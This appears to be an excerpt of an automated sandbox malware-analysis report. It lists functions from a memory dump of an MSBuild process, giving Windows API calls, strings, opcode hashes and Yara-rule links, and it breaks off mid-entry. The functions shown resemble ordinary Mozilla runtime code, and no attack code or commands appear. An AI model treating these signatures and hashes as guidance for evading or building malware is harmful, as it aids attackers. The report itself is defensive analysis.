\Vl, xrefs: 6C4E3A02

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: \Vl$ewTl
API String ID: 3168844106-3372429926
Opcode ID: 100523a68e037aa8e929a561f244001618157a3c2cf2b03e9a748c400fbefdba
Instruction ID: d1c28cb34d67239475c91b657a1be91d29e404c2d27f89a4ccd885cb0fc46e55
Opcode Fuzzy Hash: 100523a68e037aa8e929a561f244001618157a3c2cf2b03e9a748c400fbefdba
Instruction Fuzzy Hash: EB2123327066018FCB26DE6BCC45F26B3F1EB8A716726062DD86587F70DB71AC418785

Function 6C53C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C53C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C53C842

Part of subcall function 6C53CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C55B5EB,00000000), ref: 6C53CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C53C863
std::_Facet_Register.LIBCPMT ref: 6C53C875

Part of subcall function 6C51B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C55B636,?), ref: 6C51B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C53C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53C8BC

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: f80140f415ebee31d12a85b3f93d52399d9a5992735d0d58eb113c25ce75bb71
Instruction ID: e07942a3f1e9c793981b7a82dc69f8e7014e1283f346070f7958cb788b4d4295
Opcode Fuzzy Hash: f80140f415ebee31d12a85b3f93d52399d9a5992735d0d58eb113c25ce75bb71
Instruction Fuzzy Hash: 3E118975B002159BCF00EF69CC899BEBB75FF89354F010229E9069B751EB30AD05CBA5

Function 6C530180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C530270
GetCurrentThreadId.KERNEL32 ref: 6C5302E9
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C5302F6
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C53033A

Strings

about:blank, xrefs: 6C53020F

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: d1a346d1f7e8744055e99a00a3b31ff0112c17009bfb4deed5c017a33de7f18f
Instruction ID: fdbad993e3da9a461bc6411173c0d2e3f3ccea2cbbe150677b437b5d723a28e0
Opcode Fuzzy Hash: d1a346d1f7e8744055e99a00a3b31ff0112c17009bfb4deed5c017a33de7f18f
Instruction Fuzzy Hash: 6451D470A00225CFCB00DF19CC80AAAB7F1FF89318F55565AD81AA7B51E731BC46CB94

Function 6C52E100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52E12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6C52E084,00000000), ref: 6C52E137

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6C52E196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6C52E1E9

Part of subcall function 6C5299A0: GetCurrentThreadId.KERNEL32 ref: 6C5299C1
Part of subcall function 6C5299A0: AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C5299CE
Part of subcall function 6C5299A0: ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C5299F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6C52E13F

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: f48e96ae1a5e7126df4947b450ef2fb5c539a6ea19dcedd83e39d454282e929a
Instruction ID: 8a6b36bd852a80c5aabf4813698cdac5456000e943f52f166e883cdcf2d2a42a
Opcode Fuzzy Hash: f48e96ae1a5e7126df4947b450ef2fb5c539a6ea19dcedd83e39d454282e929a
Instruction Fuzzy Hash: 153109B2A043009FD700DF698D417AAF7E5AFC6318F54852EE8554BB81DB748909C7D3

Function 6C51F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C51F480

Part of subcall function 6C4EF100: LoadLibraryW.KERNEL32(shell32,?,6C55D020), ref: 6C4EF122
Part of subcall function 6C4EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4EF132

CloseHandle.KERNEL32(00000000), ref: 6C51F555

Part of subcall function 6C4F14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4F1248,6C4F1248,?), ref: 6C4F14C9
Part of subcall function 6C4F14B0: memcpy.VCRUNTIME140(?,6C4F1248,00000000,?,6C4F1248,?), ref: 6C4F14EF

Part of subcall function 6C4EEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4EEEE3

CreateFileW.KERNEL32 ref: 6C51F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C51F523

Strings

\oleacc.dll, xrefs: 6C51F4CB

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 3bc5bbd4351e5ab2dccda984139429476a57bc020b2441329b114744f4f4d0be
Instruction ID: 2b6df71720de6e960d0d1b77e0315eb4c97d3c03b4cbe1cd9860ce96cdca037d
Opcode Fuzzy Hash: 3bc5bbd4351e5ab2dccda984139429476a57bc020b2441329b114744f4f4d0be
Instruction Fuzzy Hash: 8541A0706087109FE720DF29CC88A9BB7F4AF84318F510B1CF59187A51EB70D9498B92

Function 6C52E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52E04F

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C52E057

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 33bbf47cd7f79a14656571ddcd1d5d369cf23c17157ac95d609cd00c68ffd885
Instruction ID: b6f12a087dc42bbc62ae4da62ca9268c8c46ffbc7e3bfebe070f76c4e816a8c4
Opcode Fuzzy Hash: 33bbf47cd7f79a14656571ddcd1d5d369cf23c17157ac95d609cd00c68ffd885
Instruction Fuzzy Hash: 2121AC74A011088FDF00AB79CC58AAEB7F5AF85219F140429E90A97781DB79AD0AC7E1

Function 6C5474A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C547526
__Init_thread_footer.LIBCMT ref: 6C547566
__Init_thread_footer.LIBCMT ref: 6C547597

Strings

UnmapViewOfFile2, xrefs: 6C547552
kernel32.dll, xrefs: 6C547557

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: eb6a463877521a479356bb86355de6552e12742f70d318e6181b65245cf7ff0d
Instruction ID: 291b791221e4bd84465a25e7a3abdf24c7f4014fef3936539396763c276cad09
Opcode Fuzzy Hash: eb6a463877521a479356bb86355de6552e12742f70d318e6181b65245cf7ff0d
Instruction Fuzzy Hash: 1D210732F05541DBDA15CFAACC58FA973B5FB863A4F028629E40587F50DB31AC05C699

Function 6C547930 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C4FBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C547A3F), ref: 6C4FBF11
Part of subcall function 6C4FBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C547A3F), ref: 6C4FBF5D
Part of subcall function 6C4FBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C547A3F), ref: 6C4FBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6C547968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6C54A264,6C54A264), ref: 6C54799A

Part of subcall function 6C4F9830: free.MOZGLUE(?,?,?,6C547ABE), ref: 6C4F985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6C5479E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C5479E8

Strings

Ul, xrefs: 6C5479D0

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID: Ul
API String ID: 3421697164-397755254
Opcode ID: 3bd76288cd3c612783ec7990b803caebc9a62f3661087df7d2755cb705b5982e
Instruction ID: 3e7479d3babb023d45344717c9fb45833449bc1d0f77e2180945dff857c69e08
Opcode Fuzzy Hash: 3bd76288cd3c612783ec7990b803caebc9a62f3661087df7d2755cb705b5982e
Instruction Fuzzy Hash: 33214C356043049BCB04DF19DC89A9EBBF5EFC9314F45885DE8468B361DB30A919CB92

Function 6C54A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56F770,-00000001,?,6C55E330,?,6C50BDF7), ref: 6C54A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C50BDF7), ref: 6C54A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C50BDF7), ref: 6C54A7E4
LeaveCriticalSection.KERNEL32(6C56F770), ref: 6C54A80A

Strings

accelerator.dll, xrefs: 6C54A7BF

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ffc234ac2e9176f42034d76fce088393e1342fc6c5a03b3d6696f0d347ea0a32
Instruction ID: 4bbf6a2fcfa8053af8f0ffcf755a7d0dbddf24919085e12229663e040c84421e
Opcode Fuzzy Hash: ffc234ac2e9176f42034d76fce088393e1342fc6c5a03b3d6696f0d347ea0a32
Instruction Fuzzy Hash: DA016271A103049FDF44DF5ADC84E61B7B8FB8A355706C17AE9098B762DB71AC04CBA1

Function 6C4EF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C4EEE51,?), ref: 6C4EF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C4EF0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C4EF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C4EF0DC
ole32, xrefs: 6C4EF0AD

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: b3e02625b1dd810c4e4842e9be60789497908e772334b45947643365d013a4d2
Instruction ID: 0d57dc676ea510b955a264787bc2121b3330d9d8cabb585244653685d8bc6331
Opcode Fuzzy Hash: b3e02625b1dd810c4e4842e9be60789497908e772334b45947643365d013a4d2
Instruction Fuzzy Hash: 2DE048717452019BBF049A7BAC18E3737B96B5620B356852AF502D1F20EA21D4008629

Function 6C5200D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C4F7235), ref: 6C5200D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C5200F7
FreeLibrary.KERNEL32(?,6C4F7235), ref: 6C52010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C5200F1
wintrust.dll, xrefs: 6C5200D3

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 86b7a8a8f587bc60bb802be02146216cef2eb32c490de683b11ea42b55bbde75
Instruction ID: 3a1507b6f45b20dba09ac30e84b33da108f23ace110baaa759a20318245fcfed
Opcode Fuzzy Hash: 86b7a8a8f587bc60bb802be02146216cef2eb32c490de683b11ea42b55bbde75
Instruction Fuzzy Hash: 9CE01A70B063059BEF00AF2FCD197323AF9B742204F124556E91A81B70D7748440DA18

Function 6C520080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C4F7204), ref: 6C520088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C5200A7
FreeLibrary.KERNEL32(?,6C4F7204), ref: 6C5200BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C5200A1
wintrust.dll, xrefs: 6C520083

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 8698a40835d1983c2ae00a7dfe948bfe8b50c3b473c0ae0303e3ece1453990b3
Instruction ID: 1c6dec511a32fb5778966178224ae3af2eb1936999ba76a50b6c7367d29fc8c4
Opcode Fuzzy Hash: 8698a40835d1983c2ae00a7dfe948bfe8b50c3b473c0ae0303e3ece1453990b3
Instruction Fuzzy Hash: 09E01A70A023059BEF00BF6FDC187257AF8A70B344F424256E910D2B71D778C400DB19

Function 6C520170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C4F7308), ref: 6C520178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6C520197
FreeLibrary.KERNEL32(?,6C4F7308), ref: 6C5201AE

Strings

CryptCATCatalogInfoFromContext, xrefs: 6C520191
wintrust.dll, xrefs: 6C520173

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: d5763543f5ee7256b88e9d7883d6c6641ca54878cd6bc0e169592db2f270ce60
Instruction ID: 230374b91405299e52e79aff03568a5a4dc57a7c9f358fa5a21b72820e9b4c21
Opcode Fuzzy Hash: d5763543f5ee7256b88e9d7883d6c6641ca54878cd6bc0e169592db2f270ce60
Instruction Fuzzy Hash: 86E09A74A863159BEF406F6FCD18B217BF8B786249F124597E98581BA0E7748480DA18

Function 6C520120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C4F7297), ref: 6C520128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6C520147
FreeLibrary.KERNEL32(?,6C4F7297), ref: 6C52015E

Strings

CryptCATAdminEnumCatalogFromHash, xrefs: 6C520141
wintrust.dll, xrefs: 6C520123

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: 7b89a792fb50245d6ab31a6ae5be88eb959fefe2696d0b0d5ec6a911c690d715
Instruction ID: c4e028a53743146100b49e09f37c2a5216a5f4f12400f11f1c091d9b3eca6a6d
Opcode Fuzzy Hash: 7b89a792fb50245d6ab31a6ae5be88eb959fefe2696d0b0d5ec6a911c690d715
Instruction Fuzzy Hash: AAE01A71A052459BEF006F2FCD187223EF8A743304F024256E905C2B70DB74C400DB28

Function 6C5201C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C4F7266), ref: 6C5201C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6C5201E7
FreeLibrary.KERNEL32(?,6C4F7266), ref: 6C5201FE

Strings

CryptCATAdminReleaseContext, xrefs: 6C5201E1
wintrust.dll, xrefs: 6C5201C3

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: 1db0ceaea6846a67a012cb9ab07c3323f8210d7a7c43ee16373fb4ea991b579a
Instruction ID: dfb37e2420a006965f331bde82092dcae4d8698067fca069426bca24e645112b
Opcode Fuzzy Hash: 1db0ceaea6846a67a012cb9ab07c3323f8210d7a7c43ee16373fb4ea991b579a
Instruction Fuzzy Hash: 05E09A74A813859BEF00AF6FCD187227AF8AB47345F524656E905C1BA1DB748400DB18

Function 6C54C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

